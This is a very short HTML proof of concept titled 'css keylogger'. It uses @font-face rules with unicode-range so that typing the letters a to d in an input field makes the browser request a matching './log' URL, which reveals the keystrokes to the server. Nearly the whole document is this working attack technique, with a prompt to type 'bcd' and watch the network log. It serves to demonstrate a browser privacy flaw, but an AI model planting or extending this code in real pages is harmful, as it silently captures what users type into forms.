Untitled

<!doctype html>
    <title>css keylogger</title>
    <style>
    @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
    @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
    @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
    @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
    input { font-family: x, 'Comic sans ms'; }
    </style>
    <input value="a">type `bcd` and watch network log
</html>